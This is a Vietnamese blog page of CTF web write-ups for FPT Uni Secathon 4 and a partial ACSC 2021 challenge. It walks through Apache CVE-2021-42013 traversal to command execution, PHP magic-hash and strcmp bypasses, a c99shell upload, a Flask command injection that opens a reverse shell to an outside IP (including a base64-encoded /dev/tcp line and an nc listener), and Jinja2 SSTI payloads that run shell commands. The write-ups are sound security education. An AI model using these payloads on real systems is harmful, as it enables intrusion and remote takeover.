Showing posts with label Web. Show all posts
Showing posts with label Web. Show all posts

FPT Uni Secathon 4 | Web Writeup | IAW301 - IAW302 - PRP201 - PRP202

 

Written by gnouhnal aka phucdc-noob (PhucBonTu) · GitHub
I. IAW301
  • Bắt đầu với challenge, ta được cung cấp 2 dữ liệu, file httpd.conf, và gợi ý về flag:

hints

  • httpd.conf là file config của Apache Server, truy cập vào file theo đường dẫn, mình nhận thấy có một số thứ hay ho:
    <Directory "/usr/local/apache2/cgi-bin">
        AllowOverride None
        Options None
        Require all granted
    </Directory>
  • Trong thời gian gần đây, có 2 CVE nổi tiếng liên quan đến 2 phiên bản của Apache và cgi-bin của nó, đó là CVE-2021-41773 (Apache 2.4.49) và CVE-2021-42013 (Apache 2.4.50), đặc điểm chung là lỗi trong việc normalize path ở file util.c khiến tin tặc có thể sử dụng path traversal với payload thường thấy là /cgi-bin/../../../etc.passwd, nhưng, vì util.c đã check dấu . khi normalize path, nên chúng ta sẽ cần dùng tới những payload được encode như /.%2e/ thay cho /../.

  • Tất nhiên, giữa 2 CVE kể trên có sự khác nhau trong payload, vì vậy chúng ta cần check xem Apache đó thuộc phiên bản nào (nếu > 2.4.50 thì kiếp này coi như bỏ :'()

  • Mình thử check với câu lệnh nmap đơn giản sau:

    nmap -A -p8889 139.180.208.121 -vvv

    Và có được kết quả:

        PORT     STATE SERVICE REASON  VERSION
        8889/tcp open  http    syn-ack Apache httpd 2.4.50 ((Unix))
        | http-methods: 
        |   Supported Methods: HEAD GET POST OPTIONS TRACE
        |_  Potentially risky methods: TRACE
        |_http-title: Site doesn't have a title (text/html).
        |_http-server-header: Apache/2.4.50 (Unix)
    
  • Như vậy là Apache 2.4.50, ta có thể dùng %%32%65%%32%65/ hoặc .%%32%65/ thay thế cho ../

  • Có một lưu ý là khi đọc httpd.conf, hãy để ý đến dòng ScriptAlias để biết liệu có alias nào thay cho cgi-bin không, ví dụ như trong bài này:

    ScriptAlias /nothingspecial/ "/usr/local/apache2/cgi-bin/"

  • Và để ý DocumentRoot như trong bài:

    DocumentRoot "/usr/local/apache2/htdocs"

  • Như vậy để truy cập được / thì ta cần 4 cặp ../, thay thế alias và 2 cách encode đã kể trên, ta có payload:

    /nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag

  • Nhưng, như vậy liệu có đúng? Thử với curl và đây là kết quả:

    IAW301_2

  • Thực tế có một cách khác, ta sẽ dùng đến /bin/sh và option --data của curl để mở file, đơn giản như sau:

        curl 'http://139.180.208.121:8889/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo; cat ../flag'
    
  • Và đây là kết quả:

    IAW301_3

  • Flag: FUSEC{970c5c12bc41fd2783748e73fccf99b0}


II. IAW302
  • Truy cập vào bài, ta có login form:

    login

  • Thử xem source code của bài xem sao? (Source code khá dài, nên mình sẽ cắt từ đoạn form đến hết hint)

        <form action="verify.php" method="post">
            User Name:<br>
            <input type="text" name="username"><br><br>
            Password:<br>
            <input type="password" name="password"><br><br>
            <input type="submit" name="submit" value="Login">
        </form>
        <!--
        if(isset($_POST['submit'])){
                if ((int) $_POST['password'] === (int) "8xdeadbeef"){
                    $usr = $_POST['username'];
                    $pas = hash('sha256', htmlentities($_POST['password']));
                    if($pas == "0" && strcmp("ahihi", $usr) == 0 && $usr != "ahihi"){
                        session_start();
                        $_SESSION['logged'] = TRUE;
                        header("Location: chall.php");
                        exit;
                        }
                }else{
    
                    header("Location: index.php");
                    exit;
                }
        }else{
                header("Location: index.php");
                exit;
        }
        ?>
    
  • Vậy là chúng ta có gợi ý về code PHP của back-end, hãy thử phân tích nó một chút, để dễ dàng theo dõi, mình sẽ gán đoạn PHP vào Vim để nhìn theo line-number:

    PHP

  • Tại dòng thứ 3, ta có thể thấy toán tử so sánh === (cùng loại, cùng giá trị), (int) "8xdeadbeef" có giá trị là 8, như vậy password cần mang giá trị 8 khi ép về int

  • Nói qua một chút về việc ép String về Integer trong PHP, hãy để ý chuỗi 8xdeafbeef, chuỗi này bắt đầu bằng số 8, nên khi ép về int thì sẽ mang luôn giá trị là 8, để dễ hình dung thì chúng ta thử trên PHP luôn:

    php -a

  • Như vậy ta biết password sẽ bắt đầu bằng 8 và kế tiếp là các kí tự không phải kí tự số như 8anhtunglua chẳng hạn :>

  • Ta biết password sẽ được hash SHA256, và không có salt (Dòng 5)

  • Tại dòng 6 ta có 3 điều kiện với 3 phép so sánh: == và != (so sánh giá trị, không so sánh kiểu) và strcmp() (so sánh 2 string, trả về 0 nếu giống nhau):

  • Hãy để ý đến phép so sánh $pas == "0", đây là một huyền thoại của PHP :> Ta biết rằng $pas được hash SHA256 rồi mới đem vào so sánh, phép so sánh == giữa một chuỗi hash và "0" trong PHP sẽ gây ra lỗi liên quan đến Magic Hash, cụ thể thì những chuỗi hash bắt đầu bằng "0e", khi so sánh == với "0" sẽ luôn trả về giá trị đúng xD, bạn có thể tìm hiểu về magic hash, không chỉ SHA256 mà còn nhiều dạng khác tại đây

  • Như vậy, password phải bắt đầu bằng 8 và có mã hash SHA256 bắt đầu bằng "0e", theo link ở trên, mình tìm được mã này:

        8W-vW:5ghashcat:0e99625202804787226908207582077273485674961623832383874594371630 (note: the plaintext has a colon in the middle)
    
  • Như vậy password sẽ là 8W-vW:5ghashcat

  • Tiếp đến 2 điều kiện còn lại của dòng 6: strcmp("ahihi", $usr) == 0 && $usr != "ahihi" :D ???

  • Mới đầu đọc mình cũng hơi bị lú tí, làm thế nào mà strcmp thì trả về 0 (giống nhau) mà đằng sau lại khác nhau cho được :D ???, nhưng, có một điều về strcmp trong PHP, hay nói đúng hơn là cái == chết tiệt của PHP:

    • Trong PHP, khi so sánh NULL == 0 thì sẽ trả về true :D ??? Không đùa đâu, nó trả về true thật :> Đọc thêm tại đây
    • Có một cách để khiến strcmp trả về NULL, đó là so sánh Array và String :> Hãy đọc thêm tại đây
  • Như vậy điều ta cần là nhập username dưới dạng Array, but how to do that?

  • Để ý đến source code form của username: <input type="text" name="username">, ta thấy khi submit, query string sẽ có dạng ?username=anything&password=anything đúng không? Vậy muốn đổi từ ?username= sang ?username[]= thì đơn giản ta chỉ cần sửa lại code HTML của username form thành <input type="text" name="username[]">

  • Bây giờ tiến hành nhập username (mình để ahihi cho theo ý thích của người ra đề :>) và password 8W-vW:5ghashcat và đây là kết quả:

    login

    success

  • Ta đã vào được trang chall.php đúng như điều kiện của back-end PHP ở trên, Ctrl U để xem source code nào:

    if(isset($_FILES['file'])){
      if($_FILES['file']['size'] > 1048576){
         $errors='File size must be excately 1 MB';
      }

      if(empty($errors)==true){
        $up = "uploads/".rand().".".explode(".",$_FILES['file']['name'])[1];
        move_uploaded_file($_FILES['file']['tmp_name'],$up);
        echo "File uploaded successfully\n";
        echo '<p><a href='. $up .' target="_blank">File</a></p>';
      }else{
         echo $errors;
      }
   }
  • Đây là source code PHP cho phần upload file, có thể thấy ta có thể upload bất cứ file gì, miễn là đừng vượt quá 1048576 bytes là được

  • Mình sử dụng một file có tên là c99shell.php để upload, truy cập vào file và ta có toàn bộ file được upload lên :v

    c99shell

  • Lul, có vẻ flag không có ở đây, và nếu để ý thì tất cả file đều chỉ có quyền read mà thôi :v như vậy mình không thể dùng command rồi :v mình thử truy cập vào thư mục cha của thư mục hiện tại, và mình thấy file này:

    c99shell_2

  • Thử dùng path traversal để mở file fl@@@g_1337_ahiahi.txt xem sao :v

    flag

  • Vậy là đã có flag: FUSec{Muốn giết một con rồng, máu phải chảy thành sông_Tai nạn quá, không sao, winable, winable guys}


  • Có một cách đơn giản, mà hay ho hơn để làm bài này

  • Đầu tiên, chuẩn bị 1 file PHP như sau:

        <?php
            phpinfo();
        ?>
    
  • Tìm disable_functions, thu được danh sách các funcion bị chặn:

    phpinfo

  • Như vậy, rất nhiều function liên quan đến command và file handling bị chặn, nhưng có 2 hàm không bị chặn: dir và include

  • Đầu tiên cần list file:

        <?php
            $cur = dir(".");
            $par = dir("..");
    
            echo "Current:<br>";
            while (($file = $cur->read()) !== false){
            echo "filename: " . $file . "<br>";
            } 
    
            echo "Parent:<br>";
            while (($file = $par->read()) !== false){
            echo "filename: " . $file . "<br>";
            } 
            $cur->close();
            $par->close();
        ?>
    
  • Upload lên và mở file, thu được danh sách file trong thư mục hiện tại và thư mục cha, để ý thấy trong thư mục cha có file fl@@@g_1337_ahiahi.txt, đến đây thì path traversal cũng được, tạo file PHP cũng được:

        <?php
            echo "<p>";
            include '../fl@@@g_1337_ahiahi.txt';
            echo "</p>";
        ?>
    
  • Dù là cách nào thì cuối cùng cũng thu được flag:

 

        III. PRP201

  • Truy cập vào bài thì thấy có 5 đường dẫn đến 5 file txt

  • Thử truy cập vào một trong số đó sẽ thấy URL có dạng: http://139.180.208.121:8001/getData?f=/fus/data/1.txt, liệu đây có phải path traversal? có vẻ như các anh ra đề năm nay khá thích path traversal

  • Mò mẫm một lúc thì mình tìm được file flag.txt cũng trong /fus/data :D với nội dung như sau:

    flag.txt

  • Vậy là cần phải làm cách nào đó để xem được cái secret_service đó

  • Đến đây thì mình bắt đầu bí rồi, path traversal thì cũng cần phải biết có những gì trong đó chứ (hoặc ít nhất là mình nghĩ vậy), cho tới khi ban ra đề cho hint đầu tiên: ?f=/fus/data/../app.py, vậy hãy xem source code này có vấn đề gì?

  • Vì source khá dài nên mình sẽ phân tích từng hàm một, bỏ qua hàm index, vì nó in ra trang mà chúng ta truy cập vào đầu tiên

        @app.route('/getData', methods=['GET'])
        def getLog():
            log_file = flask.request.args.get('f')
            if (log_file.startswith('/fus/data')):
                return flask.send_file(log_file, mimetype='text/plain', as_attachment=False)
            else:
                return ({'status': 'invalid path'},200)
    
  • Ok, đây chính là hàm mà chúng ta dùng để đọc file và thực hiện path traversal, không có nhiều điều để nói về nó.

        # run script to crawl data
        @app.route('/runScript')
        def runScript():
            json = flask.request.json
            msg = start(json)
            return ({'status': msg},200)
    
        def check_script_dup(scripts, command_log, json):
            try:
                script_parent_dir = scripts + '/' + json['dir']
                script_path = script_parent_dir + '/' + json['name']
            except:
                return "missing dir and name"
            if os.path.exists(script_path):
                return "duplicate script"
            else:
                if not os.path.exists(script_parent_dir):
                    os.makedirs(script_parent_dir)
                return download_script(script_path, command_log, json)
    
        def download_script(script_path, command_log, json):
            try:
                script_link = json['url']
            except:
                return "missing url"
            # don't trust anyone
            if (urllib.parse.urlparse(script_link).netloc == "localhost:8888"):
                result = requests.get(script_link)
                with open(script_path, 'wb') as f:
                    f.write(result.content)
                    run_script(script_path, command_log)
            else:
                return "invalid script link"
    
        def run_script(script_path, command_log):
            lf = open(command_log, 'wb+')
            command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True)
            return "Run successfully"
    
        def start(json):
            scripts = home + '/scripts'
            log = home + '/logs'
            if not os.path.exists(scripts):
                os.makedirs(scripts)
            if not os.path.exists(log):
                os.makedirs(log)
            try:
                command_log = log + '/' + json['command_log'] + '.txt'
            except:
                return "missing command_log"
            msg = check_script_dup(scripts, command_log, json)
            return msg
    
  • Mình sẽ để cả 5 hàm này chung với nhau, vì chúng liên quan mật thiết với nhau, và cũng là tiền đề cho mọi thứ

  • Ta có thứ tự như sau:

    • runScript() nhận json từ request và truyền cho hàm start()
      • start() xử lý việc tạo ra đường dẫn thư mục cho logs, scripts và tạo file command_log và đưa vào hàm check_script_dup()
      • check_script_dup() nôm na thì kiểm tra xem file script đã tồn tại hay không, nếu tồn tại thì tất nhiên là không cần mất công đến hàm tiếp theo, hàm download_script()
      • download_script() là phần sẽ "tạo ra nội dung file", bằng cách nhập file từ url trong JSON vào file script, ở đây ta biết được rằng, url đó sẽ có dạng http://localhost:8888/anything_else vì đoạn #dont trust anyone, hãy nhớ điều này
      • Sau khi download_script() hoàn tất, hàm run_script() được khởi động, hàm này sẽ chạy một câu lệnh bash <script_bash>, và từ đây ta hiểu được 2 điều:
        • script_bash là tên file được thực thi bới lệnh bash, có nội dung được nhập từ nôi dung file trên url của JSON truyền vào
        • command_log chính là file log của stdout và stderr, như vậy khi thực thi, output và thông báo lỗi của bash đều sẽ đẩy vào file log đó, và tất nhiên, ta có thể xem file log đó qua path traversal
  • Đến đây thì mình (và tin chắc ai đó khi xem WU này), chắc hẳn đều đã nghĩ ra rồi, tác giả cũng đã ra hint suprocess.Popen(), stderr, stdout là gì? rồi :v

  • Mình thử luôn nhé :v Như ở trên ta đã có JSON bao gồm dir, name, command_log, url

  • URL để nhận file JSON là http://139.180.208.121:8001/runScript, để gửi JSON lên thì mình sử dụng curl như sau:

        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{json}'
    
  • Mình sẽ thử tạo một JSON như sau:

        {
            "dir" : "test",
            "name" : "ls",
            "command_log" : "log",
            "url" : "http://localhost:8888/"
        }
    
  • Ghép lại với curl:

        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/"}'
    
  • Và sau khi gửi, truy cập vào http://139.180.208.121:8001/getData?f=/fus/data/../logs/log.txt để xem kết quả của câu lệnh là gì (ta biết logs cùng chung thư mục cha với data khi xem code):

    curl

    log.txt

  • Có thể thấy rằng, nội dung file chínhlog.txt chính là biến script_path được ra thêm cả response của index(), chúng trên một dòng nên sẽ bị lỗi, thử đổi ls thành \nls\n ở JSON và gửi lên, sẽ thấy sự khác biệt:

    curl_1

    log.txt_1

  • Thấy rõ là ls đã thụt xuống, vậy điều này có ý nghĩa gì? bash <filename> khi chạy sẽ chạy từ trên xuống như các ngôn ngữ lập trình, nhưng có một điều đặc biệt là, hàng nào lỗi, nó sẽ in ra lỗi và chạy hàng tiếp theo, chứ không dừng lại khi gặp lỗi syntax bên trong

  • Đến đây thì mình đã nhận ra, hàm download_script(), vậy sẽ ra sao nếu mình truyền vào url trong JSON là http://localhost:8888/getData?f=/fus/data/../logs/log.txt (nên lưu ý localhost ở đây là local của server :> ), thì có phải download_script() sẽ lấy nội dung của log.txt để đưa vào script_path?

  • Như vậy mình tạo JSON mới và lệnh curl mới như sau:

        {
            "dir" : "test",
            "name" : "ls.sh",
            "command_log" : "lssh",
            "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"
        }
    
        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"}'
    
  • Và gửi đi, giờ chỉ cần mở file lssh.txt bằng path traversal và thu được kết quả:

    curl_2

    lssh.txt

  • Vậy là chính xác rồi, nhưng có một vấn đề là ta cần tìm đến /root để mở file secret_service, và tất nhiên là phải root thì mới có thể làm được điều đó (mình đã thử rồi)

  • Mụ mẫm cả đầu thì anh T giấu tên và anh Khoa (tác giả) đã gợi ý về reverse shell

  • Vậy bây giờ chỉ cần dùng cách trên, tạo một file chạy một đoạn reverse shell và chúng ta sẽ chiếm quyền thông qua SUID (hint từ tác giả) là xong

  • Nhưng, mình đã thử và nhận ra, tất cả những command mà chứa dấu '/' thì lỗi 500 là rõ, như ở dưới mình để name trong JSON là \nls ../root\n:

    500

  • Vậy là mình cần cách khác, nhưng trước tiên, phải chuẩn bị cái reverse shell đã :D

        sh -i >& /dev/tcp/34.92.153.161/8899 0>&1
    
  • Có cả revshell của bash, nc, ..., tìm hiểu tại đây

  • Vẫn là tác giả đã gợi ý cho mình một cách để đẩy được revshell kia lên, sử dụng base64, chuyển đoạn shell ở trên thành base64 encode, và đưa về dạng sau:

        echo "c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjEK" | base64 -d | bash
    
  • Vậy là xong, giờ cần chuẩn bị request đầu tiên (hãy nhớ escape string :v):

        {
            "dir" : "rev",
            "name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n",
            "command_log" : "rev",
            "url" : "http://localhost:8888/"
        }
    
        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev","name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n","command_log" : "rev","url" : "http://localhost:8888/"}'
    
  • Gửi đi, và trước khi đến với lần request thứ 2, mình phải tạo một listener trên máy của mình đã (thực ra là VPS mình mượn của một người bạn xứ cảng):

        nc -lvnp 8899
    

    listener

  • Giờ để listener ở đó, ta quay lại với request thứ 2, request để chạy revshell:

        json
        {
            "dir" : "rev_tcp",
            "name" : "rev_tcp.sh",
            "command_log" : "rev",
            "url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"
        }
    
        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev_tcp","name" : "rev_tcp.sh","command_log" : "rev","url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"}'
    
  • Và gửi đi, rồi quay lại listener:

    revshell

  • Vậy là ta đã mở được reverse shell trên server

  • Bây giờ chỉ cần tiến hành leo thang đặc quyền thôi:

    done

  • Ta có flag: "FUSec{a9595511e650bb0ff367d8144818802b}"


IV. PRP202


  • Bắt đầu vào bài, tại trang index, Ctrl U lên thấy source code Flask của web

    ```

    app = Flask(__name__, template_folder="template")
    SESSION_TYPE = "filesystem"
    app.config.from_object(__name__)
    Session(app)
    authCode = "C4n 1 Trust Y0u? Player "
    
  # Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
  blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]


  def authCheck(input):
      if session.get(input) == None:
          return ""
      return session.get(input)


  @app.route("/", methods=["GET", "POST"])
  def index():
      try:
          session.pop("userCode")
          session.pop("winner")
      except:
          pass
      if request.method == "POST":
          ok = request.form["ok"]
          for ban in blacklist:
              if ban in request.form["name"]:
                  return render_template_string("Hacker Alert!!!")
          session["userCode"] = request.form["name"]
          if ok == "Let's play!":
              session["check"] = "access"
              # bypass this? No way haha :D
              winner = "cocailonditconbamay"
              session["winner"] = winner
              return render_template_string(
                  "Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
              )
      return render_template("index.html")


  @app.route("/doanxem", methods=["GET", "POST"])
  def doanxem():
      try:
          if authCheck("check") == "":
              return render_template_string(authCode + authCheck("userCode"))
          else:
              if request.method == "POST":
                  winner_input = request.form["winner"]
                  if winner_input == authCheck("winner"):
                      mess = (
                          "You are the real winner!!!!!!!!!! "
                          + authCheck("userCode")
                          + ", here your flag: https://youtu.be/dQw4w9WgXcQ"
                      )
                  elif winner_input != authCheck("winner"):
                      mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
                  return render_template_string(mess)
              return render_template("doanxem.html")
      except:
          pass
      return render_template_string(authCode + authCheck("userCode"))


  @app.route("/choilai")
  def reset_access():
      try:
          session.pop("check")
          return render_template_string(
              "You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
          )
      except:
          pass
      return render_template_string(authCode + authCheck("userCode"))


  if __name__ == "__main__":
      app.secret_key = "###########"
      serve(app, host="0.0.0.0", port=8900)

- Có `render_template_string()` nên rất dễ đoán đây là [SSTI](https://portswigger.net/research/server-side-template-injection)

- Nhưng vì đã bị chặn `request.args` nên chắc phải inject từ một input nào đó :v

- Review lại source code thì ta thấy có 2 chỗ `render_template_string()` cần sử dụng `authCheck("userCode")`, chính là cái tên ta nhập ở index

- Ở `doanxem()` ta thấy `mess` là một đoạn code chuyển hướng sang `/choilai`

- Sang đến `choilai()` thì ta thấy rằng nó sẽ `pop` cái mục `check` của session data, vậy câu hỏi ở đây là, nếu như ta để cho `doanxem` gửi một request sang `/choilai`, nhưng trước khi `/choilai` kịp render, ta drop cái request đó? Tất nhiên cái `session.pop("check")` vẫn được thực thi, nhưng không render. Và nếu ta gửi tiếp một request của `doanxem` vào `/choilai`, điều gì sẽ xảy ra? `session.pop()` sẽ lỗi vì đã pop trước đó, nên giờ không còn gì mà pop, và thay vì render ra chuyển hướng về index, thì đoạn render cuối sẽ được thực thi.

- Đã rõ cách để trigger template, thử nhập `{{7*7}}` ở index và làm các bước như trên:

  [![7*7](https://github.com/phucdc-noob/FUSec-Write-Ups/raw/main/img/PRP202_1.png)](https://github.com/phucdc-noob/FUSec-Write-Ups/blob/main/img/PRP202_1.png)

- Vậy là đã rõ, bây giờ việc cần làm là tạo ra payload, trước tiên, hãy review cái black list của source code đã:
   blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]

- Đoạn này khá là khó, vì black list chứa những kí tự và từ khóa phổ biến để tạo payload SSTI

- Suy nghĩ mãi làm thế nào để tạo payload thì người anh TungDLM bảo `chr`, sáng dạ thêm một tí

- Cụ thể thì ta sẽ dùng `chr()` để tạo các kí tự trong string và ghép chúng lại, nhưng trước tiên, phải define nó

- Thử nhập `().__class__.__base__.__subclasses__()` để list các subclass và mình thấy, tại vị trí 80 có `<class '_frozen_importlib._ModuleLock'>`, có thể sử dụng nó để define `chr`:
  {% set ().__class.__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}

- Đoạn này phải cảm ơn 3 chữ `s e t` của anh TaiDH, một pro đã giải bài này trong 15 phút, trước cả mình

- Ok, để đoạn define ở đó, bây giờ đến đoạn payload chính, có rất nhiều hướng làm:

  - Cách của anh TungDLM gợi ý:
    {{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42))).read()}}
```

Dễ hiểu là, chúng ta sẽ lợi dụng đoạn `__doc__` của `Tuple`, ví `__doc__` là một String nên ta chỉ việc cắt một đoạn của nó ra, `replace()` để thay thế các kí tự, sử dụng `chr()` để thay cho việc dùng `''/""`. Nhờ đó tạo được câu lệnh để `os.open()` thực thi (`cat *`) và in ra tại `read()`
  • Cách của mình (dài và mất não @@):

        {{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}
    

    Tại đây mình sử dụng __add__ để nối các kí tự thành chuỗi và open() để mở file, không khuyến khích làm theo, khổ dâm lắm :'(

  • Ok, giờ tạo payload hoàn chỉnh thôi:

    • Payload TungDLM:

          {% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
      
    • Payload của mình:

          {% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
      
  • Và có kết quả:

    flag

  • Flag: FUSEC{@@@@@@Th3_n3Xt_l3v3l_pL4y!!!!!!!!}

  • Rất có thể có nhiều cách khác, vì anh TungDLM đã để nhả

Cảm ơn anh TungDLM và anh TaiDH đã hỗ trợ trong quá trình giải bài này

  • Qua quá trình làm bài mình đã phải research rất nhiều để tạo payload hoàn chỉnh, dưới đây là một số link mà mình đã tham khảo:
  • Bên cạnh đó, vì Server của bài sẽ hết hạn vào 7 phút nữa (12h :v) nên mình đã crawl app.py về, hãy deploy local và theo dõi log, trải nghiệm thú vị đó:
    from flask import Flask, session, request, render_template, render_template_string
    from flask_session import Session
    from random import randint as hack
    from waitress import serve
    import builtins

    app = Flask(__name__, template_folder="template")
    SESSION_TYPE = "filesystem"
    app.config.from_object(__name__)
    Session(app)
    authCode = "C4n 1 Trust Y0u? Player "


    # Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
    blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]


    def authCheck(input):
        if session.get(input) == None:
            return ""
        return session.get(input)


    @app.route("/", methods=["GET", "POST"])
    def index():
        try:
            session.pop("userCode")
            session.pop("winner")
        except:
            pass
        if request.method == "POST":
            ok = request.form["ok"]
            for ban in blacklist:
                if ban in request.form["name"]:
                    return render_template_string("Hacker Alert!!!")
            session["userCode"] = request.form["name"]
            if ok == "Let's play!":
                session["check"] = "access"
                # bypass this? No way haha :D
                winner = "cocailonditconbamay"
                session["winner"] = winner
                return render_template_string(
                    "Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
                )
        return render_template("index.html")


    @app.route("/doanxem", methods=["GET", "POST"])
    def doanxem():
        try:
            if authCheck("check") == "":
                return render_template_string(authCode + authCheck("userCode"))
            else:
                if request.method == "POST":
                    winner_input = request.form["winner"]
                    if winner_input == authCheck("winner"):
                        mess = (
                            "You are the real winner!!!!!!!!!! "
                            + authCheck("userCode")
                            + ", here your flag: https://youtu.be/dQw4w9WgXcQ"
                        )
                    elif winner_input != authCheck("winner"):
                        mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
                    return render_template_string(mess)
                return render_template("doanxem.html")
        except:
            pass
        return render_template_string(authCode + authCheck("userCode"))


    @app.route("/choilai")
    def reset_access():
        try:
            session.pop("check")
            return render_template_string(
                "You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
            )
        except:
            pass
        print(authCheck("userCode"))
        return render_template_string(authCode + authCheck("userCode"))


    if __name__ == "__main__":
        app.secret_key = "###########"
        serve(app, host="0.0.0.0", port=8900)
spacer

ACSC 2021 | Web Writeup | API

 

API

Thử thách:

Kiến thức nền:

  • Broken Access Control.

Giải quyết vấn đề:

1/ Thăm dò:

Như mọi dạng bài cho source code từ trước, việc đầu tiên chúng ta cần làm là tôn trọng tác giả, mở source code ra đọc và deploy nó lên. Vào trong root folder public rồi deploy trên locahost bằng lệnh php -S localhost:<any port number>. Tạm thời chưa quan tâm đến các file config như 000-default.conf, docker-compose.yml hay Dockerfile, chúng ta sẽ sử dụng sau. Nhìn sơ qua thì chúng ta có một cái web app chỉ có 3 chức năng thế này:

  • Sign in:

image

  • Sign up:

image

  • Trang admin (không hiểu sao không cần sign in cũng vào được, nhưng mà nhìn chung nó cũng vô dụng):

image

Thử tạo một account tại signup.html rồi đăng nhập vào thử:

image

2/ Nghiên cứu source code:

Bài này nhìn chung là khá dễ, nếu thậm chí nếu bạn đọc code và suy nghĩ theo cách đơn giản thì sẽ ra flag cực kì nhanh. Nhưng tôi và thằng teammate baolongv3 đã chọn cách khó hơn, đó là ăn hết tất cả cú lừa của bài này.

Cú lừa đầu tiên, không biết là vô tình hay cố ý mà tác giả lại để lộ 2 cái file "mới nhìn tưởng là quan trọng và là chìa khóa để tìm ra flag" này:

  • user.db: file chứa toàn bộ thông tin account của tất cả các user trên web app này, mỗi field thông tin khác nhau được ngăn cách bởi dấu | (theo tôi dự đoán thì nó theo format sau: username|hash của password|user level (admin sẽ được gán bằng 1, normal user được gán bằng 0)). Khi refresh trang thì ta thấy file được append thêm một số account mới. Tất cả các account này đều có user level bằng 0. Chỉ duy nhất account có username tên Pang (trong hình) có user level bằng 1.

image

Nhìn vào hàm main, ta thấy file user.db vốn không có sẵn trong folder db. Nó được khởi tạo bằng cách gọi hàm gen_user_db:

function gen_user_db($acc){
    $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
    $path .= "db".DIRECTORY_SEPARATOR;
    $path .= "user.db";
    if (file_exists($path)) return false;
    else {
        global $admin;
        $u = new User($acc);
        $fmt = sprintf("%s|%s|%d,", $admin['id'], $u->gen_hash($admin['pw']), $admin['level']);
        file_put_contents($path, $fmt);
    }
}

Nếu file user.db chưa được tạo, nó sẽ được tạo mới bởi hàm file_put_contents, đồng thời hàm này sẽ ghi vào file user.db mới được tạo account của admin thông qua biến $fmt, biến này lại lấy các field id, pw và level từ global array $admin được gọi từ file config.php:

<?php
$admin = ['id' => "*secret*", 'pw' => "*secret*", 'level' => 1];
?>

Vậy là đúng như dự đoán, admin được gán level bằng 1, như vậy account có id là "Pang" chắc chắn là admin, và ta cần lấy được password của user này bằng cách dehash cái này: c307cae832059f15e52cc5e6a26a2eb3ae7173e6. Password được hash bằng hàm ripemd160:

public function gen_hash($val){
    return hash("ripemd160", $val);
}

Nhưng có vẻ đây là một challenge dùng não 100%, đừng phí thời gian chạy hashcat hàng tiếng đồng hồ để tìm password như tôi nhé, nó không ra cái gì đâu @@

  • passcode.db: chứa một string có độ dài 5 kí tự, nếu chỉ nhìn mà không đọc code kĩ thì sẽ rất dễ nhầm đây là salt mà tác giả ném vào hàm hash ripemd160 để băm password của các user. Nếu deploy đoạn code này (lấy từ hàm gen_pass_db) thì bạn sẽ đấy string này random từ biến $rand_str sau mỗi lần refresh trang:
$rand_str = "`~1234567890-=!@#$%^&*()_+qwertyuiopT[]\\";
$rand_str .= "asdfghjkl;':\"zxcvbnm./<>?QWERASDFZCVBNM";
$res = '';
for($i = 0; $i < $len; $i++){
    $res .= $rand_str[rand(0, strlen($rand_str)) - 1];
}
echo $res;

Nhưng trên url thì dù refresh lại bao nhiêu lần nó cũng ra ":<vNk". Lí do là vì file passcode.db cũng hoạt động giống file user.db, nếu file đã được tạo rồi thì hàm sẽ kết thúc và không đụng gì file nữa:

if (file_exists($path)) return false;

image

=> Xem xong file này tôi có 2 thắc mắc:

